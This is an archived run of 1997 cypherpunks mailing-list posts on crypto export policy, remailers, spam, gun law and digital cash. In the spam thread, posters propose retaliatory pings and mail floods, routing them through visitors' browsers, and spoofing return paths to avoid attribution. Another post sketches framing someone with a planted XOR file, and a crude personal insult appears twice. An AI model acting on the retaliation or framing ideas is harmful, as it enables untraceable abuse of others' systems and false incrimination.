Date: Fri, 9 May 1997 22:04:34 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
Message-ID: <13435979406834@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Fri May 09 09:48:11 1997

> > Like I said, it's more of a passive agressive thing.  If I were to 
> > come across a page that said "Click here to spam some spammers" and 
> > that's all I had to do, why wouldn't I take 2 seconds of my time to 
> > do it?  That's
> 
> Can you think of a way to have it originate at the browser's machine, 
> not your machine? Perhaps an activex program for w95 :-)
java program/script could do this as well.

> > certainly less time than it takes to go through the amount of spam in 
> > my mail each day.
> 
> I suggest you learn to filter your e-mail.
Hmmm... I'm hearing a lot of "you have a right so long as it doesn't 
interfere with me" kind of talk here... if the gentleman has a right to 
spam, then this person as the same right to spam him back.. I personally 
detest getting crap like the guy sent in my mailbox.. filtering doesn't 
stop it from wasting bandwidth.

> > And who cares if the pings/emails are coming from my site?  For the 
> > email version I just add a header that says something to the effect 
> > of "This email was sent to you on behalf of someone at $REMOTE_HOST" 
> > and set the
> 
> You could also try an html form whose actions send mailto:your@enemy
yup.

> 
> > Return-Path to <root@localhost>.  At that point, how can you prove 
> > that it was sent by your script or just by someone using your SMTPd?
> 
> He'll just filter out your site.  Wallace has some very smart
> people working with him.
Maybe he needs some smarter people working "against" him.. this has 
potential to get fun.

The Spectre
spectre@nac.net
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=Pv6d
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 10 May 1997 00:06:54 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [ADMINISTRATIVIUM] Cyclic codes
In-Reply-To: <199705091047.MAA04212@basement.replay.com>
Message-ID: <Pine.A41.3.95.970509094921.98278B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 9 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> There's a rumor that Timmy May sells his dead relatives as fertilizer as 
> they constitute the best shit in California.
> 
>          <<<<
>         o(0-0)o
>      -ooO-(_) Ooo-- Timmy May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stout <stoutb@pios.com>
Date: Sat, 10 May 1997 01:49:40 +0800
To: cypherpunks@algebra.com
Subject: 64-bit CPU 10x faster in crypto?
Message-ID: <2.2.32.19970509173208.006a8a64@vaxf.pios.com>
MIME-Version: 1.0
Content-Type: text/plain


During a Digital seminar, a statement was made that 64-bit CPUs are about
10x faster than a 32-bit CPU in dealing with crypto, and that Alphas are
favorites of Crypto-affiliated Gov't agencies.  I spoke with a reference
within Digital and the following logic was presented:

  o A 128-bit key is processed in two 64-bit chunks, vs four 32-bit chunks,
greatly reducing processing time.
  o The Alpha executes four instructions per clock cycle.
  o Alpha clock ratings are 600MHz this summer.
  o Caveat: The O.S. needs to support 64-bit processing (Digital UNIX or
Linux, not NT).

I'm concerned about the strength of personal/corporate crypto in face of
large jumps in processing power.

I do not subscribe to cypherpunks due to the volume, so please respond to me
directly on this question.  stoutb@pios.com

Bill Stout





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sat, 10 May 1997 00:12:03 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199705091605.LAA21343@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain


::
Subject: Remailers for Dummies?

I'm interested in setting up a remailer (I already have, to a small
degree), but I'm looking for a remailers-howto, something that
covers the issues beyond `mere' compiling. Things like, getting
a Mixmaster and a Type1 remailer to cooperate nicely; how to
minimize complaints and legal hassles. If there's a remailer-
operators list, I'd love to know about that too.

Please address replies to dave@columnist.com - as much as anything,
I'm sending this message through my proto-remailer (based on the
freedom code) to make sure it works :)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Fri, 9 May 1997 23:22:59 +0800
To: cypherpunks@toad.com
Subject: EVENT: Two big events you can be a part of at democracy.net on May 13!
Message-ID: <199705091506.LAA22844@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls

Update No.7              http:/www.democracy.net/              May 8 1997

_________________________________________________________________________
Table of Contents

 - democracy.net needs your help!
 - Internet Caucus field hearing @ Library of Congress: May 13, 3-5pm Eastern
 - Live Town Hall Meeting with FCC Chairman Reed Hundt: May 13, 7pm Eastern
 - In our archive
 - About democracy.net / Subscription and Unsubscription Information

___________________________________________________________________________
DEMOCRACY.NET NEEDS YOUR HELP!

On Tuesday May 13, democracy.net will be testifying before the
Congressional Internet Caucus about the use of the Internet for
bringing citizen participation to the democratic process.

We occassionally get letters from all sorts of people who tell us how
much they appreciate democracy.net.  Help us tell your story.  Take a
moment to answer the questions below and send the results to
feedback@democracy.net!

1. Answer the following questions where appropriate.

   How old are you?
   Where are you when you participate in democracy.net events?  At home?
      Work?
   What does democracy.net allow you to do as a citizen that you couldn't do
     without it?
   Have you used material from the democracy.net website in an article, term
     paper, school paper, or book?
   What do you like most about democracy.net?
   Does democracy.net help you overcome other barriers to being an active
     citizen?
   How are the democracy.net archives useful to you?

2. Send the answers to feedback@democracy.net

___________________________________________________________________________
INTERNET CAUCUS FIELD HEARING @ LIBRARY OF CONGRESS: TUE MAY 13,
    3-5PM EASTERN

One of the most crucial benefits of the Internet is it's ability to
allow government agencies to publish information to the public at a
very low cost.  Numerous examples of how the Internet has
revolutionized access to the democratic process and government exist
today, including:

* The Library of Congress' THOMAS service (http://thomas.loc.gov/) which
  makes available bills and speeches from the Congressional Record,

* The Federal Communications Commission's Daily Digest and Website  
  (http://www.fcc.gov/) which allows citizens to track every issue
  moving through the agency's processes, and

* The National Aeronautics and Space Association's Website (http://www.nasa.gov)
  which has made available photos and other astronomical images available to the
  very taxpayers that funded them.

These projects and others like them have fundamentally changed the way
Americans today keep tabs on their government.  But there's still a
long way to go, and this Internet Caucus field hearing will examine
nine examples of how the Internet is being utilized to make the
government more accessible to Americans.

You can attend this event live by listening to the live audio feed,
submit questions to the Senators and Representatives from the Internet
Caucus for the witnesses who will be there, view live photos from the
hearing room, and discuss the issue with Internet users and
Congressional staffers in interactive chat.

         * Congressional Internet Caucus Hearing - How To Participate *

 DATE:      Tuesday, May 13, 1997
 TIME:      3-5 pm Eastern / noon-2 pm Pacific  (Event will last +/- 90 mins)
 LOCATION:  http://www.democracy.net

In advance of the hearing, please visit http://www.democracy.net for
background information on this issue, including the list of witnesses
who are testifying.  You can also submit questions in advance.

_____________________________________________________________________________
LIVE TOWN HALL MEETING WITH FCC CHAIRMAN REED HUNDT: TUESDAY MAY 13, 7PM ET

During the May 7th Universal Service Proceeding, Internet users submitted
their questions and comments via democracy.net.  On Tuesday May 13, FCC
Chairman Reed Hundt will join democracy.net for a live Virtual Town Hall
meeting to discuss the Universal Service proceeding, respond to Internet
users questions, and discuss other Internet-related issues before the FCC.

This is a great opportunity for Internet users to talk with one of the key
telecommunications policy makers.

       * Online Town Hall Meeting with FCC Commissioner Reed Hundt *
                         * How To Participate *

 DATE:      Tuesday, May 13, 1997
 TIME:      7:00 pm Eastern / 4:00 pm Pacific
 LOCATION:  http://www.democracy.net

Visit http://www.democracy.net/ in advance of the event to submit questions.

Additional information can be found at the FCC home page: http://www.fcc.gov

_______________________________________________________________________________
IN OUR ARCHIVE

* FCC UNIVERSAL SERVICE RULEMAKING FROM MAY 7TH NOW AVAILABLE IN OUR ARCHIVE!

     -FCC Chairman Reed Hundt at May 7th public meeting on Universal Service,
      broadcast by democracy.net!

 You can get the entire audio or text-based transcript of the meeting, or
 selected excerpts, at http://www.democracy.net/archive/05071997/

_______________________________________________________________________________
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End update no.7                                                    05/08/1997
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 10 May 1997 00:22:03 +0800
To: cypherpunks@algebra.com
Subject: "constructive" possession of a gun
Message-ID: <199705091606.LAA31841@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Senate Judiciary Committe -- 08 May 1997

Well the JackBoots are at it again.

Under current Federal Law 5yrs can be tacked on to a criminal sentance if a
gun is used in the commision of a crime. Now they have a new twist to add:
"constructive" possession of a gun during the commision of a crime.

Now what does "constructive" possession mean?

Well according to those who testified from the various depts of the
Excutive Branch it means that a gun happens to be in the area, or the
potential to use a gun or if you recoment that someone else use a gun
durring the commission of a crime even though the weapon was never used.

Some examples given:

If durring the planning of a bank robbery you recomend that a gun be used
durring the robbery even though you did not use the weapon or was not even
present durring the robbery you could still get the extra 5yrs.

If durring a drug deal taking place in the back seat of a car there is a
gun under the front seat of the car you would still get the extra 5yrs even
though the the gun was never used.

If durring a drug raid on your home and a gun is found anywhere in the
house, yes you would be elegible for the extra 60 months.

<sigh> why do they even pretend to be running a constitutional government?

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: "640K ought to be enough for anybody." - Bill Gates, 1981

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Tag-O-Matic: Windows is to OS/2 what Etch-a-Sketch is to art.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Fri, 9 May 1997 23:48:40 +0800
To: cypherpunks@toad.com
Subject: Re: Clinton Admin. to announce new Crypto regs
Message-ID: <3.0.32.19970509112208.00f5b584@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:39 PM 5/8/97 +0000, Rick Smith wrote:
>These "new" regulations "to be issued" are scrambling to catch up with
>previous and current practices. It doesn't change things at all.

I disagree. Here's why:

New regs unquestionably do change things for US banks. Right now banks may export nothing stronger than unescrowed DES. Period. So - what do they use the dirt-cheap, insecure Internet for? Nothing terribly important outside the US. One banker from JP Morgan told me yesterday that this was big news for them since they would soon move tons of stuff onto the Net. JPM, you'll recall, does business with huge, multinational institutions. They don't do retail banking. They aren't interested in small deals.

What do you suppose JP Morgan's bill for proprietary network use is each year? How much will they save by moving to the Internet?

It's worth noting, too, that banks and consumer software companies will soon export things like PC banking software with minimal delay.

>This announcement is simply a public acknowledgment that the BXA will look
>favorably on export requests to banks and that someday they'll try to draft
>specific regulations on the subject. Meanwhile you do it by grinding
>through the bureacracy.

It goes beyond banks. It affects any company that writes financial software for use with the banking infrastructire, including companies like CyberCash and Intuit.

Consider this: Last time Cybercash got approval to export it took them 15 months - count 'em - to get approval. OpenMarket had a similar wait. Regs like those may as well prohibit export. Now DOC says similar deals should be routine and take weeks to complete. Regs are supposed to appear soon - within the month, according to Reinsch's deputy. That's a significant change.

Will Rodger
Washington Bureau Chief
Inter@ctive Week
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 9 May 1997 23:53:00 +0800
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: <Pine.SUN.3.91.970509114352.28577A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 8 May 1997, Rick Osborne wrote:

> Actually, this account has adequate filters.  Unfortunately, my employer
> chooses to use Exchange for mail, which has less than astonishing filtering
> capability.  But I appreciate the inference as to my (lack of)
> intelligence.  ;)

Filtering isn't the point.  Just as you have the right to free speech, 
you also have the right to ignore someone else's speech as it is aimed at 
you.  If you don't want Cyberspammo to spam you, they should honor your 
request to take their crap elsewhere.

The problem I have with them is that while they do say "Send email here 
to never be spammed again" it doesn't work.  They don't honor the 
deletion requests.  You wind up on some other dweeb's spam queue also 
from cyberspam. :(

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 10 May 1997 00:59:59 +0800
To: e$@thumper.vmeng.com
Subject: e$: In Vino Veritas
Message-ID: <v0302098caf98c47ca7ea@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


I love this prohibition stuff.

First recreational drugs, then guns, then cryptography, then tobbacco, and
now, the grandaddy of all prohibitions, alcohol sales, on the net in
Florida, with good old vino being retreaded as a brand new thin edge of the
tired old wedge of government behavioral control.

Once again, a whole generation of libertines now becomes moralistic in
their old age. Same as it ever was. Remember that the Romantics (Beethoven,
Chopin, the waltzing Strausses, etc.) grew up to become the Victorians (the
temperance, missionary, conservation, and "indian school" movements).


So, maybe it *is* time to move to a country where the average age is under
30. Fortunately, there are a lot of them, thanks to exploding life
expectancy caused by advancing technological progress   and Peale's
"demographic transition". Maybe soon they'll have enough wealth (and
technological creativity) of their own to ignore the increasing
constrictions of what Tim May likes to call the "Terror State". I'd gladly
exchange a moribund environment of backward-looking luddism for a cheerful
attack on the problem of making the future happen, anytime. Unfortunately,
that doesn't look like an option, not just yet, anyway.


The other thing which comes to mind with all this is, of course, financial
cryptography, which, contrary to the opinion of more than a few on the
e-mail lists I'm on, I see as the thin edge of another kind of wedge. It is
financial cryptography which will kill cryptographic prohibition, and,
someday, prohibition of other technologies as well.


Currently, the relaxation of export controls on cryptography is now merely
a cudgel to make us submit to ubiquitous wiretapping, and not for national
security, the original purpose of such controls.

Former National Security Agency Chief Counsel Stewart Baker said at the
Digital Commerce Society of Boston luncheon this Tuesday that the
management of the NSA gave up on succeeding with cryptographic export
controls in 1993, and that their only hope was to enlist Federal Bureau of
Investigation Director Louis Freeh in their efforts by showing him threat
of cryptography to his wiretap apparatus. It's now quite clear that the NSA
is fighting a retreat on strong cryptography, and that they're using Louis
Freeh and the FBI to do it for them.  So, at this point, any residual
attempts by the national security apparatus per se to control exports,
beyond assisting Freeh in slowing down technological progress, is just
regulatory inertia. Still real and very dangerous to anyone who believes in
freedom and privacy, but lacking any further accelleration to move it
forward, once the momentum it already has finally goes away.

In my conversation last year with senior people there, the Financial Crimes
Enforcement Network (FinCEN), responsible for catching money launderers and
other financial criminals and another would-be cryptographic hoplaphobe,
certainly seemed to understand that if blind-signature digital bearer
certificates are proven to be as economically efficient as a few of us on
the net think they will be, FinCEN's ability to monitor transactions on the
net will just disappear. Not only because they can't see those transaction
behind the Chaumian blind-signature algorithm, but because the sheer volume
of transactions (the micromoney mitochondria,
digital-cash-as-microprocessor-food idea I like to throw around, as an
extreme example) will physically choke any monitoring effort they attempt
to build. In yet another paraphrase of John Gilmore's law of internet
censorship, the net sees surveillance as damage, and routes around it.
Again, inertia is a problem here, and the powers-that-be at FinCEN haven't
given up quite yet on ultimately controlling the impending explosion of
internet financial cryptography, as NSA's management seems to have with
crypto in general. Mostly because all the starry-eyed claims people like me
make on behalf of digital bearer certificates are just that, claims, with
no empirical evidence so far to back them up. Yet. :-).

Finally, that leaves wiretaps, and the FBI's Louis Freeh, a man who got his
law-enforcement bones because of bugs and wiretaps, and who has never seen
a wiretap he didn't like. First of all, Freeh faces the same problem FinCEN
faces. Even if it were economically possible for the FBI to get the
monsterous wiretap capability that the freshly legislated CALEA now crams
down the collective financial throat of every telecoms manufacturer and
provider on earth. Even if he did get access to all cryptographic keys,
which he can't physically do, because economics will require that most of
those session keys be disposed of as fast as they're used. Even if, in
spite of both of those flights of economic fantasy, he were able to do so,
Freeh still can't physically monitor all that communication, in the same
sense that FinCEN can't follow all those transactions on the internet.
Gilmore's Law strikes again.

But, the joke here, of course, is that surveillence technology in meatspace
itself is going to continue to increase. The eventual prospect of
ubiquitous videobugging both by government and private sources means that a
lot of David Brin's surveillance society will probably come to pass, and
physical crime will continue to diminish as a result.  The law-enforcement
need for tapped or "excrowed" communictions will probably disappear,
because even when Freeh & Co. couldn't just subpoena some stored private
video somewhere, planting a physical bug, Gotti-style, will be much easier
than listening in to an "excrowed" communication with disposable session
keys.

Much in the same way, I might add, as if the NSA bunch had never mentioned
the idea of key escrow at all to Louis Freeh. That's because the inherent
need of corporations to secure their own data from the hostile or
accidental behavior of their own people would have already created a market
for encrypted data recovery anyway. All the law enforcement community would
need to do to get access to that information is the same thing they use for
anything else: a subpoena. Again, the "rational control" of government
destroyed what would have been a much more efficient market driven
technology. Like the filtering of offensive internet content was before the
Communications Decency Act threatened to "require" it, some very creative
people were thinking very hard about private key and cryptography data
recovery schemes and now won't touch them because the government wants to
mandate key escrow, er, "recovery", into existance.

However, the last laugh in the upcoming surveillance society will
eventually be had by privacy advocates on would-be totalitarians like Mr.
Freeh, and, it seems, on Al Gore, who seems to be Freeh's chief cheerleader
in the Clinton administration. Remember that Stalin, too, came to
totalitarianism from the absolutism of the extreme left, and leftist
absolutism is something Mr. Gore's book "Earth in the Balance" is chock
full of. Somewhere, Freddy Hayek is laughing.

Anyway, in the ultimate twist of fate, all those ubiquitous surveillance
devices will be predominantly in *private* hands, and, as the cleptocracy
of the modern nation state continues to implode from it's own greed and
power-lust, those surveillance devices will, eventually, be linked to
privately held security firms, and, maybe someday to autonomous
*munitions*. See the "Mesh and the Net",
<http://www.shipwright.com/meshnet.html>, for some hints to this kind of
defensive military technology. I claim that as we will be able to allocate
network resources with some kind of cash settled economy, so too will we
someday be be able to directly "purchase" the services of these kinds of
technologies, without the centralized economic distortion of a
nation-state. In other words, we'll be much more physically secure without
people like Mr. Freeh, than with them.

While that's a long way off, it's probably not so far as freedom and
privacy advocates fear. For instance, if, say, 10 years from now, as some
people have predicted, your home security system had complete visual
coverage of your property with a swarm of very cheap CCD videocameras, all
streaming that encrypted video over the net to some secure (possibly
anonymous) storage place, then not only do criminals have a tougher time
comitting crimes against your person and property, but so too does
government. In addition, with such a system, there's nothing to keep a
private cop or detective from appearing at the scene of the crime, probably
at much less cost than that of a government one. Heck, the purchase of the
cop's or detective's time could occur on a cash-settled auction market, for
that matter.  Paid by private crime insurance, of course. :-). Once again,
information technology reduces government to the functional equivalent of
ceremony, following monarchy down the road to mere decoration and, lately,
occassional entertainment.


Now, I agree that just waiting around for all this to mysteriously appear
won't make it happen any faster. The faster the technology is built,
deployed, and most important, made profitable, the better. And, these days,
all this statist encroachment on our freedom feels, very debatably, like
being a Jew on Krystallnacht waiting for the Americans to win the war
already. But, this technology *is* going to happen, and, while
nation-states aren't going to go down without fighting for their
institutional lives, they *have* lost. Hopefully, the sooner they know
they've lost, the sooner they'll give up, join the human race, and get on
with building the future.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 9 May 1997 19:02:01 +0800
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Cyclic codes
Message-ID: <199705091047.MAA04212@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


There's a rumor that Timmy May sells his dead relatives as fertilizer as 
they constitute the best shit in California.

         <<<<
        o(0-0)o
     -ooO-(_) Ooo-- Timmy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <00043.an@edtec.com>
Date: Sat, 10 May 1997 01:13:53 +0800
To: <cypherpunks@algebra.com>
Subject: One-Time Pads as Attack Method
Message-ID: <9705091650.AA19981@future.atlcom.net>
MIME-Version: 1.0
Content-Type: text/plain



1. Agents of the Enemy wish to create the appearance of you possessing
document A.
2. They obtain some artifact you have emailed, or posted, or possess on
your private local storage. ---
Possibly even signed.  Call this message B.
3. They create the XOR of A and B, the result being a 'one time pad' C.
which of course, gives:
private message B XOR C = target bogus message A.  This result is of course
not a one time pad;
the plan is to accuse you of possessing materials that prove you are
trading with the enemy,
exchanging kiddie-porn, any of the usual things.
4. This 'one time pad' file C. somehow finds its way into your possession:
it is an email attachment,
embedded in some binary --- it could even be stego'ed into a GIF/JPG.
5. The agents break down the door and seize all your effects.  
6. They are able to prove that you possess B and C, the XOR of which is A.,
a fact that is impossible
to have happened at random.
7. The jury doesn't know shit, and figures that if the chances of B ^ C = A
by accident are 0,
then you must be guilty.

I'm only looking at the general schema of an attack like this: I'm sure
there are many ways
the right defense could be mounted about how the files got on the client's
computer, etc.etc.

The interesting part of this frame-job is using something you may have
already publicly posted,
making denial of its origin difficult, together with a surreptitious
planting of the 'pad' data.

Naturally the incriminating data payload could be delivered directly,
without the OTP business.
But I thought it might be worth examining the implications of this theme.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 10 May 1997 01:50:47 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <FPRF7D57w165w@bwalk.dm.com>
Message-ID: <97May9.132052edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


One simple question: where is the property right to a socket and mailbox.

If Wallace has the right to fill my computer with unwanted data, then I
have the same right toward his.  If it is an act of free speech to send
some commercial solicitation for something I would never want, it is hard
not to maintain that an ARP packet isn't covered by the same theory.

It costs me something to filter out spam, and will cost him something to
filter out counterspam of whatever sort.  The NSP may be in the no-man's
land between the trenches, but they are providing the connection and can
tell him to look elsewhere or charge a premium for the extra traffic.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@securecomputing.com>
Date: Sat, 10 May 1997 03:13:45 +0800
To: Will Rodger <cypherpunks@toad.com
Subject: Re: Clinton Admin. to announce new Crypto regs
In-Reply-To: <3.0.32.19970509112208.00f5b584@postoffice.worldnet.att.net>
Message-ID: <v03007804af9928766aa6@[172.17.1.61]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:22 AM -0400 5/9/97, Will Rodger wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 10:39 PM 5/8/97 +0000, Rick Smith wrote:
>>These "new" regulations "to be issued" are scrambling to catch up with
>>previous and current practices. It doesn't change things at all.
>
>I disagree. Here's why:
>
>New regs unquestionably do change things for US banks. Right
>now banks may export nothing stronger than unescrowed DES. Period.

Interesting. That's inconsistent with what was said in the NRC crypto
policy report. The report stated or at least implied that any commercial
crypto equipment could be exported for sale to a financial institution,
though it had to get an export license. (sorry for imprecision, I don't
have my copy handy).

You seem to be suggesting that the licenses were consistently denied or
permanently delayed for stronger crypto. I can believe it -- a bureacracy
can hide lots of unwritten rules behind a poorly documented licensing
procedure. I personally don't know of an example of stronger crypto being
exported to an overseas financial institution.

However, you're probably right in saying this is a big improvement for
commercial software doing strictly financial crypto. If the BXA produces
similar rules to those they recently drafted, then some types of products
will indeed be easier to export. OpenMarket et al took a risk when they
took on the bureacracy to try to get an export license based on what looked
like an acceptable practice. I agree it must have been an ugly process to
go through, and would be vastly improved by explicit regulation.

Rick.
smith@securecomputing.com      secure computing corporation






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 10 May 1997 02:24:10 +0800
To: rodger@worldnet.att.net (Will Rodger)
Subject: Re: Clinton Admin. to announce new Crypto regs
In-Reply-To: <3.0.32.19970509112208.00f5b584@postoffice.worldnet.att.net>
Message-ID: <199705091759.NAA00667@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Will Rodger wrote:
| 
| It's worth noting, too, that banks and consumer software companies
| will soon export things like PC banking software with minima| l delay. 

	Netscape is PC banking software.

	SSL is the banks encryption tool of choice because it saves
you from having to write or support custom software.

	Claiming that this helps a retail operation is newspeak.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 05:52:00 +0800
To: cypherpunks@algebra.com
Subject: Security flaw in key recovery -- you're looking at it
Message-ID: <199705092134.OAA05967@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


[This is only a test.  If I had been in a bad mood, this message would
have contained the private key of the CEO of a major Entrust customer,
obtained from an Entrust trusted "key safe" server.  Who am I?  Can 
Entrust or its customer's officers finger me?]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian C. Lane" <nexus@eskimo.com>
Date: Sat, 10 May 1997 15:25:49 +0800
To: geeman <NOSPAM-geeman@best.com>
Subject: Re: Camera Hacking
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: <Pine.LNX.3.96.970509154412.965B-100000@fozzy.islet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 1 May 1997, geeman wrote:

> have an effect on people's behavior with respect to what they say, whom
> they associate with, 
> the clothes they wear, the thoughts they think...
> 
> How do you hack a camera?

  Splatball (paintball) gun should do the trick.

    Brian

---------------------------------------------------------------------------
    Nexus Computing     | Hardware and Software Design
 www.eskimo.com/~nexus  | Motorola, Microchip and Linux solutions
---------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 10 May 1997 04:13:40 +0800
To: cypherpunks@toad.com
Subject: Admin Feigns Back Off On Crypto Bill
Message-ID: <1.5.4.32.19970509195541.0090c6d0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


News report today:

   Reinsch told reporters that strategy will be to follow advice
   he has been given and not to circulate Administration draft
   bill. Issue is so polarized, he said, that that bill would be
   dismissed quickly, and some of its content that lawmakers
   might want to adopt also would be rejected because it came
   from Administration. Reinsch said it's close call, and
   Administration is reevaluating its tactics constantly. 

This seems to coordinate with Kerrey's initiative to lump
all crypto bills into one "acceptable to the leadership
and the White House."

   http://jya.com/backoff.htm

BTW, another report claims that proposed new regs will allow 
banks the special privilege of strong crypto if they come up 
with an acceptable KMI within two years.

This seems to be what Kerrey means when he says NSA's
Crowell is working with industry to develop an acceptable
KMI along the lines of what government is preparing for
its own use.

All interests to be subservient to the Number One interest?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 08:21:27 +0800
To: cypherpunks@cyberpass.net
Subject: How many of HOTMAIL's 3,000,000 users want SSL???
Message-ID: <199705100010.RAA16139@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Please consider writing your corporacongressmyn and explaining to them
briefly, yet <politely> your concern about packet sniffers.  Hotmail's
market is exploding and they just might need a way to distinguish
themselves from their competitor American Express (usa.net=netaddress.com)
during the next year, even while they continue living on the edge with
weak push/advertising revenue.  Send no money, but these people deserve
our support:

 comments@hotmail.com       "New features you would like to see or
                            general comments about Hotmail."

Or,

 support@hotmail.com        "Assistance with using Hotmail's features or
                            technical difficulties with your account."

Remember, it just takes A MINUTE to...

 "contact Hotmail by phone: 408.222.7000 -- 10:00 am to 6:00 pm Pacific Time"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Loren James Rittle <rittle@comm.mot.com>
Date: Sat, 10 May 1997 06:46:57 +0800
To: cypherpunks@cyberpass.net
Subject: FreeBSD 2.2.1 on CDROM is shipping out of the U.S.A. with full DES
Message-ID: <9705092233.AA07855@supra.rsch.comm.mot.com>
MIME-Version: 1.0
Content-Type: text/plain


FYI,

I hope it is not premature but people are starting to take advantage
of the wonderful Patel ruling in the Bernstein v U.S. Department of
Justice case.  Cool!

Loren

From: "Jordan K. Hubbard" <jkh@FreeBSD.org>
Newsgroups: comp.unix.bsd.freebsd.misc
